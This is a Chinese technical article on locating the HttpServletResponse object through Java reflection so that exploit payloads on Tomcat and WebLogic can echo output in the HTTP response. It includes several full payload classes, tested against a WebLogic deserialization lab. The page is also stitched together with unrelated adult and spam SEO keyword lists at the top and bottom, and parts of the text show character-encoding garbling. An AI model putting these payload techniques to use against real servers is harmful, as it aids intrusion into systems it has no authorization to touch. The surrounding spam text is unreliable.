精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

一種基于規(guī)則的 JavaWeb 回顯方案

開發(fā) 前端
本文提出了幾種解決方案,包括暴力查找、模糊查找、精確查找(基于規(guī)則查找),各有優(yōu)缺點。基于規(guī)則的查找優(yōu)點在于每次添加一種新的框架、中間件支持只要加一個規(guī)則,有效的減少了 payload 體積。

背景

JavaWeb 回顯技術是做漏洞檢測和利用繞不過去的。由于反連檢測會受網絡影響,對于內網或是網絡環(huán)境差的場景有漏報的風險。所以本文研究下 JavaWeb 的回顯。

回顯原理

只看 Java 層面上的回顯,一次 HTTP 的請求到響應大概像下面這樣,這里我將 Servlet、Socket 抽象出來,方便理解。

可以看見 Java 對于 http 請求處理還是基于 Socket 的,Java 可以通過 JNI 調用系統(tǒng) api 來讀寫 Socket。每個 TCP 連接對應一個文件描述符,也對應著一個 Socket 對象,我們可以通過遍歷文件描述符實現遍歷 Socket,通過 Remote 端的 ip 和端口可以過濾出當前 HTTP 請求的 Socket,就可以隨意寫響應包了。再往上一層看,如果想開發(fā) Java EE 項目,那么要先實現一個 Servlet,處理請求時要處理 HttpServletRequest、HttpServletResponse。那么如果能拿到 HttpServletResponse 就可以寫響應了。

對比兩種方法,如果使用 Socket 回顯,優(yōu)點在于很通用。但缺點是在惡意代碼執(zhí)行時,請求信息已經被讀取了,所以只能通過 ip、port 區(qū)分遠程目標,寫入響應,所以如果網絡經過轉發(fā),不能獲取到源 ip 就會有問題。如果使用 Servlet 回顯,難點在于如何快速查找實現了 HttpServletRequest 的對象。本文主要針對這個問題進行分析。

對象查找

由于 Java 是面向對象編程,且不存在閉包,所以對象只能像一棵樹一樣,不在這棵樹上的對象就會被GC,所以我們查找線程對象,遞歸找它的 field、class 靜態(tài)成員。

暴力查找

其實已經有師傅實現了查找工具:https://github.com/c0ny1/java-object-searcher,但不適合直接做 payload。我這里寫了一個簡略版的暴力查找工具(這里用了樹儲存所有路徑,如果做為 payload,其實可以再精簡下的)。

package com.example.springtest.utils;

import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;

public class Searcher1 {
    int maxDeep;
    Pattern pattern;
    public Searcher1(int n){
        maxDeep = n;
        pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
    }
    public Node SearchResponse(Object o) {
        Node root = new Node(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
        if (searchResponse(o,root,new HashSet<Object>(),0)){
            return root;
        }else {
            return null;
        }
    }
    boolean searchResponse(Object o, Node node, Set searched, int deep) {
        if (o instanceof HttpServletResponse){
            return true;
        }
        if (o == null){
            return false;
        }
        deep++;
        if (deep > maxDeep){
            return false;
        }
        if (searched.contains(o)){
            return false;
        }
        if (pattern.matcher(o.getClass().getName()).find()){
            return false;
        }
        searched.add(o);

        if (o.getClass().isArray()){ // 數組
            try{
                Object[] os = (Object[]) o;
                for (int i = 0; i < (os).length; i++) {
                    Object o1 = os[i];
                    Node newNode = new Node(String.format("[%s[%d]]",node.name,i),o1);
                    if (searchResponse(o1,newNode,searched,deep)){
                        node.Add(newNode);
                    }
                }
            }catch (Exception e){
                throw e;
            }
        }else if (o instanceof Iterable){ // 可迭代對象
            try{
                int i = 0;
                Iterator<?> iterator = ((Iterable<?>) o).iterator();
                while (iterator.hasNext()) {
                    Object o1 = iterator.next();
                    Node newNode = new Node(String.format("[%s[%d]]",node.name,i),o1);
                    if (searchResponse(o1,newNode,searched,deep)){
                        node.Add(newNode);
                    }
                    i++;
                }
            }catch (Exception e){

            }
        }else{
            Class clazz = o.getClass();
            do {
                Field[] fields = clazz.getDeclaredFields();
                for (Field field :
                        fields) {
                    try {
                        field.setAccessible(true);
                        Object fieldObj = field.get(o);
                        Node newNode = new Node("[field]"+String.format("(%s)",field.getDeclaringClass().getName())+field.getName(),fieldObj);
                        if (searchResponse(fieldObj,newNode,searched,deep)){
                            node.Add(newNode);
                        }
                    } catch (Exception ignored) {
                    }
                }
                clazz = clazz.getSuperclass();
            } while (clazz != null && clazz != Object.class);
        }
        if (node.Children.size() > 0){
            return true;
        }
        return false;
    }
}

對于通用回顯 payload,最簡單的實現方法就是在 payload 中查找 Response 對象。缺點是而且對于小機器來說可能是比較大的性能開銷,會有響應慢,甚至丟失的問題。但好處是很通用,所以也不是不可以接受。

模糊查找

暴力查找顧名思義,查找比較暴力,速度慢,但成功率高。那有沒有辦法通過一些特征,對查找過程進行剪枝呢?例如:一般會在線程的 table 中,一般 HttpServletResponse 實現對象的類型名或屬性名中會有 Response 相關字符串等等特征。根據上面暴力查找到的路徑提取特征,在查找過程中根據特征有指向性地查找,速度會快很多,特征越寬泛查找成功率越高,速度越慢,相反就成功率低,速度快。

下面是調試時的部分代碼:

package com.example.springtest.utils;

import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.regex.Pattern;

public class Searcher {
    Pattern pattern = null;
    int maxDeep = 0;
    HashMap<String,Integer> typesRecord = null;
    public class SearchResult{
        public Object o;
        public List path;
        public SearchResult(Object o,List p){
            this.o = o;
            path = p;
        }
    }

    public Searcher(){
        pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
        typesRecord = new HashMap<String,Integer>();
    }
    public SearchResult FindObjectByFeature(Object o, String features, int maxSingleFeatureDeep,int maxTotalDeep) throws IllegalAccessException {
        String[] ds = features.split(",");
        Pattern[] array = new Pattern[ds.length];
        for (int i = 0; i < ds.length; i++) {
            array[i] =Pattern.compile(ds[i]);
        }
        return findObjectByFeature(o,array,new ArrayList(),new HashSet<>(),maxSingleFeatureDeep,maxSingleFeatureDeep,0,maxTotalDeep);
    }
    /*** 可能存在的問題:
     * 1. 查找到某個類符合路徑中某個節(jié)點的特征,但還沒檢查到這個節(jié)點,被加到黑名單中,下次到了這個節(jié)點時可能會查不到這個類
     * 2. 沒有處理map
     * 3. 沒有處理多個符合特征的對象的情況
     * 4. 當有多個請求同時存在時應該找到用于檢測的請求
     * 5. 不是最短路徑
     ***/
    public SearchResult findObjectByFeature(Object o, Pattern[] features,List trace, HashSet<Object> searched,int n,int maxSingleFeatureDeep,int deep,int maxTotalDeep) throws IllegalAccessException {
        if (o == null || n == 0 || deep > maxTotalDeep){
            return new SearchResult(null,null);
        }
        List newTrace = new ArrayList(trace.size());
        newTrace.addAll(trace);
        newTrace.add(o);
//        for (int i = 0; i < deep; i++) {
//            System.out.print("\t");
//        }
//        System.out.println(o.getClass().getName());
//        if (searched.contains(o)){
//            return null;
//        }
        searched.add(o);
        if (deep > maxDeep){
            maxDeep = deep;
        }
        if (pattern.matcher(o.getClass().getName()).find()) {
            return new SearchResult(null,null);
        }
        if (o.getClass().isArray()){
            try{
                for (Object o1 : (Object[]) o) {

                    SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
                    if (res.o!=null){
                        return res;
                    }
                }
            }catch (Exception e){

            }
        }
        if (o instanceof Iterable){
            try{
                Iterator<?> iterator = ((Iterable<?>) o).iterator();
                while (iterator.hasNext()) {
                    Object o1 = iterator.next();
                    SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
                    if (res.o!=null){
                        return res;
                    }
                }
            }catch (Exception e){

            }
        }

        List<Object> nextTargets = new ArrayList<>();
        List<Object> uselessFields = new ArrayList<>();
        Class clazz = o.getClass();
        String cName = clazz.getName();
        if (typesRecord.containsKey(cName)){
            typesRecord.put(clazz.getName(),typesRecord.get(clazz.getName())+1);
        }else{
            typesRecord.put(clazz.getName(),1);
        }
//        找出可疑目標
        do {
            Field[] fields = clazz.getDeclaredFields();
            for (Field field :
                    fields) {
                try {
                    field.setAccessible(true);
                    Object fieldObj = field.get(o);

                    if (fieldObj == null || pattern.matcher(fieldObj.getClass().getName()).find()) {
                        continue;
                    }
                    if (features.length != 0 && features[0].matcher(fieldObj.getClass().getName()).find()) {
                        nextTargets.add(fieldObj);
                    } else {
                        uselessFields.add(fieldObj);
                    }
                } catch (Exception ignored) {
                }
            }
            clazz = clazz.getSuperclass();
        } while (clazz != null && clazz != Object.class);

// 先搜索可疑目標
        if (nextTargets.size() != 0){
            for (Object nextTarget :
                    nextTargets) {
                SearchResult res = findObjectByFeature(nextTarget, Arrays.copyOfRange(features, 1, features.length),newTrace,searched, maxSingleFeatureDeep,maxSingleFeatureDeep,deep+1,maxTotalDeep);
                if (res.o!=null){
                    return res;
                }
            }
        }
//        搜索非直接目標
        if (uselessFields.size() != 0){
            for (Object nextTarget :
                    uselessFields) {
                if (nextTarget instanceof HttpServletResponse){
                    return new SearchResult(nextTarget,newTrace);
                }
                SearchResult res = findObjectByFeature(nextTarget, features,newTrace,searched, n-1,maxSingleFeatureDeep,deep+1,maxTotalDeep);
                if (res.o!=null){
                    return res;
                }
            }
        }
        return new SearchResult(null,null);
    }
    public void DumpInfo(){
        System.out.printf("最大遞歸深度: %d\n",maxDeep);
        List<Map.Entry<String, Integer>> list = new ArrayList<>(typesRecord.entrySet());
        AtomicInteger s = new AtomicInteger();
        typesRecord.forEach((c,c1)->{
            s.addAndGet(c1);
        });
        System.out.println("訪問對象數量: "+s);

        Collections.sort(list, (o1, o2) -> o2.getValue().compareTo(o1.getValue()));

        if (list.size() > 0){
            System.out.println("訪問次數最多的類是: "+list.get(0).getKey()+", 次數是: "+list.get(0).getValue());
        }
        for (Map.Entry<String, Integer> d:
                list) {
            System.out.printf("%s: %s\n",d.getKey(),d.getValue());
        }

    }
}

精確查找

一般在寫回顯時師傅們都是通過調試或 Java-object-searcher 查找路徑,然后根據路徑寫回顯 payload,實現針對某種框架、中間件的回顯。

但如果想支持多種框架、中間件,簡單粗暴的辦法就是將這些 payload 揉到一起,但這樣就會導致 payload 過大。

所以,既然知道了路徑,那可以嘗試將路徑作為規(guī)則,控制查找過程,精確查找 Response 對象。

生成路徑圖

下面是部分代碼:

package com.example.springtest.utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.util.Base64;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;

public class searchShell  {
        String hash;
        String name;
        public Object Data;
        List<searchShell> Children;
    searchShell(String name,Object o){
            this.name = name;
            this.hash = String.valueOf(System.identityHashCode(o));
            Data = o;
            Children= new ArrayList();
        }
        void Add(searchShell o){
            Children.add(o);
        }

        void toDot(PrintWriter out) {
            out.printf("  \"%s\"", hash);
            if (Data != null) {
                out.printf(" [label=\"%s\"]", name);
            }
            out.println(";");

            for (searchShell child : Children) {
                child.toDot(out);
                out.printf("  \"%s\" -> \"%s\";\n", hash, child.hash);
            }
        }

        public String dump() {
            ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
            PrintWriter out = new PrintWriter(new OutputStreamWriter(byteStream));
            out.println("digraph G {");
            toDot(out);
            out.println("}");
            out.close();
            return byteStream.toString();
        }
        private List<searchShell> getAllTerminalNodes(searchShell searchShell){
            List<searchShell> res = new ArrayList();
            if (searchShell.Children.size() == 0){
                res.add(searchShell);

            }else{
                for (searchShell n :
                        searchShell.Children) {
                    for (searchShell r :getAllTerminalNodes(n)
                    ) {
                        res.add(r);
                    }
                }
            }
            return res;
        }
        public List<searchShell> GetAllTerminalNodes(){
            Set set = new HashSet();
            List<searchShell> res = new ArrayList<searchShell>();
            for (searchShell n :
                    getAllTerminalNodes(this)) {
                int hash = System.identityHashCode(n.Data);
                if (!set.contains(hash)){
                    res.add(n);
                    set.add(hash);
                }
            }
            return res;
        }
    
    int maxDeep;
    Pattern pattern;
    public searchShell(){
        System.out.println("new searchShell");
        maxDeep = 20;
        pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
        try{
            searchShell root = this.SearchResponse(Thread.currentThread());
            List<searchShell> res = root.GetAllTerminalNodes();
            int i = 0;
            for (searchShell r :
                    res) {
                String tag = String.format("tag%d",i);
                Field req =             r.Data.getClass().getDeclaredField("request");
                req.setAccessible(true);
                Object o = req.get(r.Data);
                if (o instanceof HttpServletRequest){
                    if (((HttpServletRequest)o).getHeader("tag").equals("1")){
                        ((HttpServletResponse)r.Data).addHeader(tag,Base64.getEncoder().encodeToString(root.dump().getBytes()));
                    }
                }
                i++;
            }
        }catch (Exception e){
        }
    }

    public searchShell SearchResponse(Object o) {
        searchShell root = new searchShell(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
        if (searchResponse(o,root,new HashSet<Object>(),0)){
            return root;
        }else {
            return null;
        }
    }
    boolean searchResponse(Object o, searchShell searchShell, Set searched, int deep) {
        if (o instanceof HttpServletResponse){
            return true;
        }
        if (o == null){
            return false;
        }
        deep++;
        if (deep > maxDeep){
            return false;
        }
        if (searched.contains(o)){
            return false;
        }
        if (pattern.matcher(o.getClass().getName()).find()){
            return false;
        }
        searched.add(o);

        if (o.getClass().isArray()){ // 數組
            try{
                Object[] os = (Object[]) o;
                for (int i = 0; i < (os).length; i++) {
                    Object o1 = os[i];
                    searchShell newNode = new searchShell(String.format("[%s[%d]]",searchShell.name,i),o1);
                    if (searchResponse(o1,newNode,searched,deep)){
                        searchShell.Add(newNode);
                    }
                }
            }catch (Exception e){
                throw e;
            }
        }else if (o instanceof Iterable){ // 可迭代對象
            try{
                int i = 0;
                Iterator<?> iterator = ((Iterable<?>) o).iterator();
                while (iterator.hasNext()) {
                    Object o1 = iterator.next();
                    searchShell newNode = new searchShell(String.format("[%s[%d]]",searchShell.name,i),o1);
                    if (searchResponse(o1,newNode,searched,deep)){
                        searchShell.Add(newNode);
                    }
                    i++;
                }
            }catch (Exception e){

            }
        }else{
            Class clazz = o.getClass();
            do {
                Field[] fields = clazz.getDeclaredFields();
                for (Field field :
                        fields) {
                    try {
                        field.setAccessible(true);
                        Object fieldObj = field.get(o);
                        searchShell newNode = new searchShell("[field]"+String.format("(%s)",field.getDeclaringClass().getName())+field.getName(),fieldObj);
                        if (searchResponse(fieldObj,newNode,searched,deep)){
                            searchShell.Add(newNode);
                        }
                    } catch (Exception ignored) {
                    }
                }
                clazz = clazz.getSuperclass();
            } while (clazz != null && clazz != Object.class);
        }
        if (searchShell.Children.size() > 0){
            return true;
        }
        return false;
    }
}

這個 payload 是一個自動查找 Response 的,查找結果是一棵樹,如果查找成功會根據這棵樹生成一個 dot 腳本,并在 header 回顯,如圖:

在本機中將腳本生成圖片,一共有4條路徑,2個 Response 對象,但是否條條大路通回顯還需要測一下。

測試回顯

測試下這兩個 Response 對象。

兩個都可以成功在 Header 回顯。

篩選請求

找到 Response 了,那怎么判斷當前 Response 是對應著我們發(fā)出的請求呢?(如果不對應上可能會回顯在別人的請求中)本來把希望寄托在 HttpServletResponse 接口,但看了下沒有定義任何獲取 Request 相關的函數(這難道不應該把上下文存一下嗎?)。

當前測試的代碼是在 tomcat 環(huán)境下,HttpServletResponse 的實現類是 org.apache.catalina.connector.Response,其類定義中有 request 屬性,我又看了下 weblogic 的實現類是 weblogic.servlet.internal.ServletResponseImpl,也定義了 request 屬性,而且剛好都是 HttpServletRequest 的實現。所以可以猜測,雖然 HttpServletResponse 未定義獲取請求對象的接口,但是開發(fā)者們都很自覺的在實現類里定義了。

既然有 Response 對象,且存在 request 屬性(至少 tomcat 和 weblogic 存在,如果有沒定義 request 的,先噴一下他們開發(fā),再改 payload 吧),那么我們就可以篩選出帶有特定標簽的請求做回顯了。

如圖:

簡化查找過程

根據上面暴力查找得到的路徑圖,我嘗試將最短路徑作為規(guī)則,并讓它根據規(guī)則進行查找,對于上面的環(huán)境,我選擇這條路徑做為規(guī)則:

weblogic 環(huán)境:vulhub/weblogic/CVE-2018-2628,通過加載暴力查找 .class,得到路徑圖如下,只有一個對象。

下面根據路徑規(guī)則,自動查找 Response,這里暫時只加了 Tomcat 和 Weblogic 的規(guī)則,后續(xù)可以通過加入更多的規(guī)則。

代碼如下:

package com.example.springtest;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;

public class multiEcho {
    public static Object getField(Object o,String feature) {
        int n = 0;
        for (Class<?> clazz = o.getClass(); clazz != null; clazz = clazz.getSuperclass(),++n) {
            try {
                Field field = clazz.getDeclaredField(feature);
                field.setAccessible(true);
                return field.get(o);
            } catch (Exception e) {
                if (n > 2){
                    return null;
                }
            }
        }
        return null;
    }

    public static Object getTargetByRouteFeatures(Object o,String[] features) throws Exception {
        for (String feature:
                features) {
            String[] split = feature.split("\\|");
            o = getField(o,split[0]);
            if (o==null)
                return null;
            if (o.getClass().isArray() && split.length > 1){
                for (int i = 0; i < Array.getLength(o); i++) {
                    Object o1 = Array.get(o,i);
                    if (o1!=null)
                        o1 = getTargetByRouteFeatures(o1,split[1].split("_"));
                    if (o1!=null){
                        o = o1;
                        break;
                    }
                }
            }
        }
        if (o instanceof HttpServletResponse){
            return o;
        }
        return null;
    }
    public multiEcho() throws Exception{
        String[] rules = {"workEntry,response","threadLocals,table|value_response,response"};
        for (int i = 0; i < rules.length; i++) {
            try{
                HttpServletResponse rsp = (HttpServletResponse) getTargetByRouteFeatures(Thread.currentThread(),rules[i].split(","));
                Field req =  rsp.getClass().getDeclaredField("request");
                req.setAccessible(true);
                Object o = req.get(rsp);
                if (o instanceof HttpServletRequest){
                    if (((HttpServletRequest)o).getHeader("tag").equals("1")){
                        ((HttpServletResponse)rsp).addHeader("tag","haha");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

總結

本文提出了幾種解決方案,包括暴力查找、模糊查找、精確查找(基于規(guī)則查找),各有優(yōu)缺點。基于規(guī)則的查找優(yōu)點在于每次添加一種新的框架、中間件支持只要加一個規(guī)則,有效的減少了 payload 體積。而規(guī)則可以通過 payload 生成路徑圖,選取最短路徑來編寫。歡迎師傅們有更好的想法或建議可以一起交流。

責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2018-06-07 10:29:34

SDN服務器負載均衡

2022-07-13 11:49:18

接口遷移方案

2009-06-03 15:38:37

Struts框架RBAC

2016-03-21 13:24:22

apk安卓開發(fā)

2012-03-31 10:53:43

ibmdw

2022-06-22 09:44:41

Python文件代碼

2022-07-07 10:33:27

Python姿勢代碼

2020-12-23 10:10:23

Pythonweb代碼

2020-12-09 10:15:34

Pythonweb代碼

2014-12-01 09:54:40

JavaScript

2018-05-29 09:00:00

LinuxBTFS文件系統(tǒng)

2018-12-29 09:25:05

區(qū)塊鏈數據經濟區(qū)塊鏈技術

2009-12-15 19:18:39

Ruby源代碼

2025-07-14 00:40:00

Node.js代碼信號

2017-08-01 18:06:56

2016-09-20 12:49:29

2022-09-27 08:04:37

Adapter?設計模式

2021-04-08 10:19:39

人工智能機器學習知識圖譜

2022-02-20 09:46:17

僵尸網絡加密貨幣網絡安全

2024-03-29 11:13:17

云計算人工智能
點贊
收藏

51CTO技術棧公眾號

国产成年精品| 特黄视频在线观看| 久久久久久久久99精品大| 欧美一级二级三级蜜桃| 免费超爽大片黄| 国产又粗又大又爽的视频| av网在线播放| 日韩高清二区| 91久久精品日日躁夜夜躁欧美| 一区二区欧美日韩| 色综合免费视频| 久久精品国产精品亚洲红杏| 午夜精品一区二区三区在线播放 | 国产大片一区二区| 欧美一级成年大片在线观看| 精品一区在线观看视频| 国产精品欧美在线观看| 日韩西西人体444www| 国内外成人免费激情视频| 黄色免费在线看| av在线综合网| 91色精品视频在线| 日韩精品在线一区二区三区| 精品成人在线| 日韩中文第一页| 国产精品无码在线| 蜜桃精品视频| 欧美专区亚洲专区| 国产资源在线视频| 香蕉久久aⅴ一区二区三区| 亚洲国产成人私人影院tom| 国产美女在线精品免费观看| 国产理论片在线观看| 快she精品国产999| 午夜精品在线观看| 黄色小视频在线免费看| 欧美一区高清| 俺去了亚洲欧美日韩| 亚洲国产日韩一区无码精品久久久| 日韩视频在线直播| 91麻豆精品国产91久久久久久 | 亚洲欧美日本国产有色| 天天av综合网| 99久久99久久综合| 国产经品一区二区| 国产特黄一级片| 精品无人码麻豆乱码1区2区| 国产精品丝袜久久久久久高清| 国产剧情在线视频| 在线日韩av| 久久久噜噜噜久噜久久| 国产精品a成v人在线播放| 欧美激情在线| 色综合久久88| 激情视频在线播放| 韩日欧美一区| 久久久久久久久久久亚洲| 久久97人妻无码一区二区三区| 成人高清av| 中文字幕久久精品| 欧美a级片免费看| 希岛爱理av一区二区三区| 综合欧美国产视频二区| 国产精品久久久免费看| 99精品视频精品精品视频 | 久久久久国产精品视频| 五月婷婷深深爱| 2020国产精品久久精品美国| 欧美另类视频在线| gogogo高清在线观看免费完整版| 中文一区二区完整视频在线观看| 亚洲a∨一区二区三区| 夜级特黄日本大片_在线| 亚洲欧洲精品一区二区精品久久久| 亚洲无玛一区| 在线heyzo| 欧美日韩国产一区二区三区| 国产精品无码专区av在线播放 | av网址在线免费观看| 1区2区3区精品视频| 成年人深夜视频| 625成人欧美午夜电影| 欧美午夜免费电影| 一起草最新网址| 啪啪激情综合网| 在线日韩欧美视频| 免费国产一区二区| 午夜理伦三级做爰电影| 日韩欧美在线中字| 欧美激情亚洲自拍| 91麻豆精品在线| 国产精品18久久久久| 精品久久久久久综合日本| 国产大片在线免费观看| 亚洲乱码中文字幕综合| 免费毛片小视频| 欧美一级网址| 亚洲精品国产精品自产a区红杏吧| 免费看污黄网站在线观看| 日韩在线视频精品| 午夜精品在线视频| 中文字幕在线观看免费| 国产成人丝袜美腿| 少妇免费毛片久久久久久久久| 中文在线观看免费| 在线观看视频一区二区| 日本少妇一区二区三区| 国产伦精品一区二区三区千人斩 | 谁有免费的黄色网址| 亚洲欧美综合国产精品一区| 国产成人av网| 人妻一区二区三区免费| 国产精品成人免费精品自在线观看| 国产精品久久久久久久久电影网| 99久久伊人| 日韩av综合网| 麻豆一区二区三区精品视频| 日本午夜一区二区| 精品国产综合区久久久久久| av网址在线播放| 欧美日韩精品一区二区三区四区| 久久久久久久久免费看无码| 激情欧美日韩一区| 亚洲一区制服诱惑| 毛片av在线| 在线观看视频91| 国产精品揄拍100视频| 欧美片第1页综合| 91精品视频在线看| 91免费在线| 欧美丝袜自拍制服另类| 久久成人激情视频| 亚洲一区二区三区四区五区午夜| 国产91一区二区三区| www免费在线观看| 7878成人国产在线观看| 欧美午夜激情影院| 日韩精品一二三| 欧美第一黄网| 亚洲精品成人图区| 亚洲欧美国产高清va在线播| 成人免费区一区二区三区| 成人黄色综合网站| 日韩 欧美 视频| 亚洲免费一区三区| 欧美巨乳在线观看| www.热久久| 亚洲一级片在线观看| 成年人性生活视频| 欧美亚洲不卡| 国产精品区二区三区日本| 黄色成人在线网| 精品国精品国产尤物美女| 国产小视频在线观看免费| 福利视频网站一区二区三区| 毛片av在线播放| 91蝌蚪精品视频| 欧美精品第一页在线播放| 丰满岳乱妇国产精品一区| 亚洲一区中文日韩| 私密视频在线观看| 葵司免费一区二区三区四区五区| 日本一区美女| 色999久久久精品人人澡69 | 亚洲国产精品免费在线观看| 国产麻豆成人精品| 免费网站在线观看视频| 色哟哟精品丝袜一区二区| 97免费中文视频在线观看| 亚洲av电影一区| 在线视频欧美区| 天堂网av2018| 成人永久免费视频| 黄www在线观看| 欧美亚洲高清| 99re热精品| 原纱央莉成人av片| 最近日韩中文字幕中文| www日本视频| 欧美日韩中文字幕综合视频| 日本黄色小视频在线观看| 国产一区二区日韩精品| 日韩av中文字幕第一页| 国产精品一国产精品| 亚洲一区二区在线| 中文字幕在线中文字幕在线中三区| 在线观看亚洲视频| 蜜臀久久99精品久久久| 欧美中文字幕一区| 欧美激情一区二区视频| 久久久久久久综合| 深夜做爰性大片蜜桃| 国产欧美精品| 浴室偷拍美女洗澡456在线| 高清精品视频| 国产精品亚洲片夜色在线| 免费在线观看av电影| 国产亚洲精品久久| 亚洲欧美高清视频| 欧美日韩在线直播| 91av在线免费视频| 亚洲欧美色图小说| 国产精品高清无码在线观看| 国产激情视频一区二区在线观看| 男人天堂成人在线| 一区在线视频观看| 天堂av免费看| 国内精品伊人久久久| 国产chinese精品一区二区| 久久亚洲精品爱爱| 91精品国产乱码久久久久久久久| 色哟哟免费在线观看 | 欧美18hd| 日韩av一区二区在线观看| 国产三级午夜理伦三级| 欧洲一区二区av| 国产成人在线观看网站| 亚洲麻豆国产自偷在线| 久久精品国产亚洲AV成人婷婷| 99久久99久久精品国产片果冻| 加勒比av中文字幕| 日本aⅴ亚洲精品中文乱码| 免费看日本毛片| 黑人一区二区| 成年丰满熟妇午夜免费视频 | 色诱女教师一区二区三区| 全国男人的天堂网| 日韩美女视频一区二区在线观看| 亚洲怡红院av| 日本韩国欧美国产| 日韩欧美一区二区一幕| 亚洲福利视频导航| 久久久久无码国产精品不卡| 国产精品国产a| 日本欧美一区二区三区不卡视频| 91在线看国产| 男男做爰猛烈叫床爽爽小说| 成人精品视频一区二区三区 | 国产精品zjzjzj在线观看| 成人免费福利在线| 四虎影视成人精品国库在线观看 | 日本欧美黄色片| 亚洲小说欧美另类婷婷| 日本高清视频免费在线观看| 国产精品久久久久久久久妇女| 亚洲欧洲国产日韩精品| 精品国产乱码久久久| 日韩av不卡在线播放| 狠狠做深爱婷婷综合一区| 久久精品丝袜高跟鞋| 青青操综合网| 久久精品五月婷婷| 国产成人久久| 亚洲欧洲精品一区| 亚洲精品97| 日本一区午夜艳熟免费| 99视频精品| 黄色片一级视频| 三级亚洲高清视频| 国产一级片自拍| 国产乱子伦一区二区三区国色天香| 亚洲国产综合av| 国产成人日日夜夜| 91视频啊啊啊| 国产欧美一区二区精品婷婷| 成年人视频软件| 亚洲九九爱视频| 久久视频免费在线观看| 欧美午夜影院在线视频| 91porny九色| 欧美精品123区| 高清乱码毛片入口| 亚洲欧美日韩网| 日本在线观看www| 欧美极品少妇xxxxⅹ免费视频| а√在线天堂官网| 国产精品久久久久aaaa九色| 日本欧美在线| 国产欧美日韩综合精品二区| 精品中文字幕一区二区三区av| 天堂社区 天堂综合网 天堂资源最新版 | 伊人网在线播放| 国产精品日韩在线| 一区二区三区在线免费看| 久久一区二区三区av| 久久国产电影| 欧美这里只有精品| 免费看日韩精品| 白丝校花扒腿让我c| 久久综合色之久久综合| 极品久久久久久| 欧美日韩在线第一页| 99re只有精品| 国产午夜精品一区二区三区| h视频在线免费观看| 日本aⅴ大伊香蕉精品视频| 成人综合日日夜夜| 久久综合久久久| 欧美日本一区二区高清播放视频| 欧美 国产 日本| 国产成人精品亚洲午夜麻豆| 中文字幕网站在线观看| 亚洲午夜电影网| 91中文字幕在线播放| 精品亚洲夜色av98在线观看| www在线免费观看视频| 国产精品美女av| 麻豆成人入口| www.99riav| 麻豆国产精品777777在线| 久久精品一区二区免费播放| 一区二区三区精品视频| 中国一区二区视频| 亚洲精品电影网| 日韩123区| 成人激情视频小说免费下载| 国产欧美日韩精品一区二区三区| av在线观看地址| 国产乱色国产精品免费视频| 免费看日本黄色片| 黑人巨大精品欧美一区二区三区| 精品毛片在线观看| 日韩一区二区欧美| 成人国产在线| 日韩欧美第二区在线观看| 亚洲一区自拍| www.男人天堂| 亚洲国产精品久久不卡毛片| 国产成人精品一区二区无码呦 | 久久亚洲资源| 91高跟黑色丝袜呻吟在线观看| 日韩理论电影院| 国产一级不卡毛片| 久久久精品影视| 伊人手机在线视频| 亚洲精品有码在线| 日韩欧美精品一区二区三区| 国模一区二区三区私拍视频| 亚洲视频观看| 亚洲一级Av无码毛片久久精品| 一区二区三区日韩精品视频| 99在线精品视频免费观看20| www.日韩.com| 欧美91在线|欧美| 亚洲视频精品一区| 黄色小说综合网站| 暗呦丨小u女国产精品| 日韩欧美中文字幕精品| 天堂av在线电影| 国产精品区一区| 国产欧美精品久久| 一级黄色性视频| 欧美日韩精品免费| 精品国产白色丝袜高跟鞋| 91在线高清视频| 韩国久久久久| 四虎永久免费影院| 在线精品国精品国产尤物884a| www.亚洲资源| 成人性生交xxxxx网站| 欧美日韩亚洲一区三区| 污污污www精品国产网站| 岛国av一区二区三区| 国产在线观看免费| 成人精品久久一区二区三区| 欧美在线二区| 日批在线观看视频| 一本大道久久a久久精二百 | 日韩动漫一区| 亚洲免费av一区二区三区| 中文字幕亚洲精品在线观看| 精品人妻午夜一区二区三区四区| 久久久噜噜噜久噜久久| 久久av免费看| 一级网站在线观看| 午夜久久久久久| 91看片在线观看| 电影午夜精品一区二区三区| 免费日韩av片| 中文字幕美女视频| 日韩成人黄色av| 美女视频一区| 成人在线观看你懂的| 亚洲国产电影在线观看| 成人黄色在线观看视频| 日韩av快播网址| 永久91嫩草亚洲精品人人| 午夜一区二区三区免费| 欧美日韩国产电影| 超碰在线99| 中文字幕综合在线观看| 91在线视频播放地址| 国产精品久久久久久久一区二区| 欧美精品成人91久久久久久久| 成人av国产| av鲁丝一区鲁丝二区鲁丝三区| 欧美精品久久一区二区三区| 黄色视屏在线免费观看| 免费在线观看污污视频| 久久美女艺术照精彩视频福利播放|